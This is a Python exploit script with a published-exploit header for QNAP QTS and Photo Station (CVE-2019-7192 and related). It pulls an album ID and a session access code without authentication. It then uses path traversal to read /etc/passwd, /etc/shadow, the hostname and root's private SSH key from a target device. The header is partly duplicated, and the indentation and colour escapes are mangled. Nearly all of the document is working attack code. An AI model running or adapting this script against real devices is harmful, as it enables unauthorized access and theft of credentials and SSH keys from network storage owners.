# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution
# Exploit Author: Yunus YILDIRIM (Th3Gundy)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# D # Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution
# Exploit Author: Yunus YILDIRIM (Th3Gundy)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Date: 2020-05-28
# Vendor Homepage: https://www.qnap.com
# Version: QTS < 4.4.1 | Photo Station < 6.0.3
# CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
# References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
# References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e
# References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25

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#!/usr/bin/python3

__author__ = "Yunus YILDIRIM (@Th3Gundy)"
__version__ = "0.1"


import requests
import re, sys

# hide ssl error
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def get_banner():
print("""33[91m
█████ ███▄ █ ▄▄▄ ██▓███
▒██▓ ██▒ ██ ▀█ █ ▒████▄ ▓██░ ██▒
▒██▒ ██░▓██ ▀█ ██▒▒██ ▀█▄ ▓██░ ██▓▒
░██ █▀ ░▓██▒ ▐▌██▒░██▄▄▄▄██ ▒██▄█▓▒ ▒
░▒███▒█▄ ▒██░ ▓██░ ▓█ ▓██▒▒██▒ ░ ░
░░ ▒▒░ ▒ ░ ▒░ ▒ ▒ ▒▒ ▓▒█░▒▓▒░ ░ ░
░ ▒░ ░ ░ ░░ ░ ▒░ ▒ ▒▒ ░░▒ ░
░ ░ ░ ░ ░ ░ ▒ ░░
░ ░ ░ ░ 33[0m 33[94m {0} 33[0m
""".format(__author__))


def get_file_content(file):
post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)

print("="*65) ; print("{0} file content; {1}" .format(file,file_read_response.text))

# print banner
get_banner()

if len(sys.argv) != 2:
print("33[93mUsage : python3 gundy.py https://vulnerable_url:port33[0m")
sys.exit(-1)

url = sys.argv[1].rstrip('/')
headers = {"User-Agent": "Gundy - QNAP RCE"}

# for session cookie
req = requests.Session()

#######################################################################
# search album_id

print("="*65)
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)

if album_id_response.status_code != 200:
print("album id not found 33[91mnot vulnerable33[0m")
sys.exit(0)

album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()

print("album_id ==> " + album_id)

#######################################################################
# search $_SESSION['access_code']

access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
if access_code_response.status_code != 200:
print("slideshow not found 33[91mnot vulnerable33[0m")
sys.exit(0)

access_code = re.search("(?<=encodeURIComponent\(').*?(?=')", access_code_response.text).group()

print("access_code ==> " + access_code)

#######################################################################

# /etc/passwd file read
get_file_content('./../../../../../etc/passwd')

# /etc/shadow read
get_file_content('./../../../../../etc/shadow')

# /etc/hostname read
get_file_content('./../../../../../etc/hostname')

# /root/.ssh/id_rsa read
get_file_content('./../../../../../root/.ssh/id_rsa')

#######################################################################